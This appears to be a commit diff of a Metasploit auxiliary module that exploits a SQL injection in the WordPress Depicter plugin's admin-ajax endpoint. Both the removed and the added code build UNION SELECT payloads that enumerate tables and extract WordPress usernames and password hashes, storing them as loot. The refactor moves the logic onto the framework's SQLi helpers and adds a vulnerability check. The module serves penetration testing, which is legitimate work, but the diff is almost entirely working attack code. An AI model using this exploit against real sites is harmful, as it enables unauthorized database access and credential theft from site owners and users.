|
5 | 5 |
|
6 | 6 | class MetasploitModule < Msf::Auxiliary |
7 | 7 | include Msf::Auxiliary::Scanner |
8 | | - include Msf::Exploit::Remote::HttpClient |
| 8 | + include Msf::Exploit::Remote::HTTP::Wordpress |
| 9 | + include Msf::Exploit::Remote::HTTP::Wordpress::SQLi |
| 10 | + prepend Msf::Exploit::Remote::AutoCheck |
| 11 | + |
| 12 | + GET_SQLI_OBJECT_FAILED_ERROR_MSG = 'Unable to successfully retrieve an SQLi object'.freeze |
9 | 13 |
|
10 | 14 | def initialize(info = {}) |
11 | 15 | super( |
@@ -44,118 +48,56 @@ def initialize(info = {}) |
44 | 48 | } |
45 | 49 | ) |
46 | 50 | ) |
47 | | - end |
48 | | - |
49 | | - def run_host(_ip) |
50 | | - vprint_status('Retrieving database name via SQLi...') |
51 | | - db_name = extract_value_from_sqli('database()') |
52 | | - fail_with(Failure::UnexpectedReply, 'Failed to extract database name.') unless db_name |
53 | | - vprint_good("Database name: #{db_name}") |
54 | | - |
55 | | - print_status('Enumerating tables for prefix inference...') |
56 | | - raw = 'group_concat(table_name) from information_schema.tables where table_schema=database()' |
57 | | - tables_csv = extract_value_from_sqli(raw) |
58 | | - fail_with(Failure::UnexpectedReply, 'Failed to enumerate tables.') unless tables_csv |
59 | | - vprint_good("Tables: #{tables_csv}") |
60 | | - |
61 | | - visible_tables = tables_csv.split(',') |
62 | | - prefix = visible_tables.first.split('_').first |
63 | | - users_table = "#{prefix}_users" |
64 | | - vprint_status("Inferred users table: #{users_table}") |
65 | | - |
66 | | - print_status('Extracting user credentials...') |
67 | | - limit = datastore['COUNT'].to_i |
68 | | - raw_creds = "group_concat(user_login,0x3a,user_pass SEPARATOR 0x0a) from (select * from #{db_name}.#{users_table} LIMIT #{limit}) as sub" |
69 | | - creds = extract_value_from_sqli(raw_creds) |
70 | | - fail_with(Failure::UnexpectedReply, 'Failed to extract credentials.') unless creds |
71 | | - |
72 | | - data = creds.split("\n").map { |u| u.split(':', 2) } |
73 | | - table = Rex::Text::Table.new( |
74 | | - 'Header' => users_table, |
75 | | - 'Indent' => 4, |
76 | | - 'Columns' => ['Username', 'Password Hash'] |
77 | | - ) |
78 | | - loot_data = '' |
79 | | - data.each do |user| |
80 | | - table << user |
81 | | - loot_data << "Username: #{user[0]}, Password Hash: #{user[1]}\n" |
82 | | - |
83 | | - create_credential( |
84 | | - workspace_id: myworkspace_id, |
85 | | - origin_type: :service, |
86 | | - module_fullname: fullname, |
87 | | - username: user[0], |
88 | | - private_type: :nonreplayable_hash, |
89 | | - jtr_format: Metasploit::Framework::Hashes.identify_hash(user[1]), |
90 | | - private_data: user[1], |
91 | | - service_name: 'WordPress', |
92 | | - address: datastore['RHOST'], |
93 | | - port: datastore['RPORT'], |
94 | | - protocol: 'tcp', |
95 | | - status: Metasploit::Model::Login::Status::UNTRIED |
96 | | - ) |
97 | | - vprint_good("Created credential for #{user[0]}") |
98 | | - end |
99 | | - |
100 | | - print_line(table.to_s) |
101 | | - |
102 | | - service = report_service( |
103 | | - host: datastore['RHOST'], |
104 | | - port: datastore['RPORT'], |
105 | | - proto: 'tcp', |
106 | | - name: fullname, |
107 | | - info: description.strip |
108 | | - ) |
109 | | - |
110 | | - loot_path = store_loot( |
111 | | - 'wordpress.users', |
112 | | - 'text/plain', |
113 | | - datastore['RHOST'], |
114 | | - loot_data, |
115 | | - 'wp_users.txt', |
116 | | - 'WP Usernames and Password Hashes', |
117 | | - service |
118 | | - ) |
119 | | - print_good("Loot saved to: #{loot_path}") |
120 | 51 |
|
121 | | - report_host(host: datastore['RHOST']) |
122 | | - report_vuln( |
123 | | - host: datastore['RHOST'], |
124 | | - port: datastore['RPORT'], |
125 | | - proto: 'tcp', |
126 | | - name: fullname, |
127 | | - refs: references, |
128 | | - info: description.strip |
129 | | - ) |
130 | | - vprint_good('Reporting completed') |
131 | | - |
132 | | - data |
| 52 | + register_options([ |
| 53 | + OptString.new('TARGETURI', [true, 'Base path to the WordPress installation', '/']), |
| 54 | + Opt::RPORT(80) |
| 55 | + ]) |
133 | 56 | end |
134 | 57 |
|
135 | | - def extract_value_from_sqli(expr) |
136 | | - expr = expr.to_s.strip.gsub(/\s+/, ' ') |
137 | | - r1, r2, r3, r4, r5 = Array.new(5) { rand(1000..9999) } |
138 | | - injected = "#{r1}') UNION SELECT #{r2},#{r3},(SELECT #{expr}),#{r4},#{r5}-- -" |
| 58 | + def get_sqli_object |
| 59 | + create_sqli(dbms: MySQLi::Common, opts: { hex_encode_strings: true }) do |payload| |
| 60 | + expr = payload.to_s.strip.gsub(/\s+/, ' ') |
| 61 | + r1, r2, r3, r4, r5 = Array.new(5) { rand(1000..9999) } |
| 62 | + injected = "#{r1}') UNION SELECT #{r2},#{r3},(#{expr}),#{r4},#{r5}-- -" |
139 | 63 |
|
140 | | - res = send_request_cgi( |
141 | | - 'method' => 'GET', |
142 | | - 'uri' => normalize_uri('wp-admin', 'admin-ajax.php'), |
143 | | - 'vars_get' => { |
| 64 | + endpoint = normalize_uri('wp-admin', 'admin-ajax.php') |
| 65 | + params = { |
| 66 | + 'action' => 'depicter-lead-index', |
144 | 67 | 's' => injected, |
145 | 68 | 'perpage' => rand(10..50).to_s, |
146 | 69 | 'page' => rand(1..3).to_s, |
147 | 70 | 'orderBy' => 'source_id', |
148 | | - 'dateEnd' => '', |
149 | | - 'dateStart' => '', |
150 | 71 | 'order' => ['ASC', 'DESC'].sample, |
151 | | - 'sources' => '', |
152 | | - 'action' => 'depicter-lead-index' |
| 72 | + 'dateStart' => '', |
| 73 | + 'dateEnd' => '', |
| 74 | + 'sources' => '' |
153 | 75 | } |
154 | | - ) |
155 | | - return unless res&.code == 200 |
| 76 | + res = send_request_cgi( |
| 77 | + 'method' => 'GET', |
| 78 | + 'uri' => endpoint, |
| 79 | + 'vars_get' => params |
| 80 | + ) |
| 81 | + return GET_SQLI_OBJECT_FAILED_ERROR_MSG unless res&.code == 200 |
156 | 82 |
|
157 | | - json = res.get_json_document |
158 | | - json.dig('hits', 0, 'content', 'id') || |
159 | | - json.dig('hits', 0, 'content', 'name') |
| 83 | + extracted = res.get_json_document.dig('hits', 0, 'content', 'id') |
| 84 | + return GET_SQLI_OBJECT_FAILED_ERROR_MSG if extracted.to_s.empty? |
| 85 | + |
| 86 | + extracted |
| 87 | + end |
| 88 | + end |
| 89 | + |
| 90 | + def check |
| 91 | + @sqli = get_sqli_object |
| 92 | + return Exploit::CheckCode::Unknown(GET_SQLI_OBJECT_FAILED_ERROR_MSG) if @sqli == GET_SQLI_OBJECT_FAILED_ERROR_MSG |
| 93 | + return Exploit::CheckCode::Vulnerable if @sqli.test_vulnerable |
| 94 | + |
| 95 | + Exploit::CheckCode::Safe |
| 96 | + end |
| 97 | + |
| 98 | + def run_host(_ip) |
| 99 | + @sqli ||= get_sqli_object |
| 100 | + wordpress_sqli_initialize(@sqli) |
| 101 | + wordpress_sqli_get_users_credentials(datastore['COUNT']) |
160 | 102 | end |
161 | 103 | end |
0 commit comments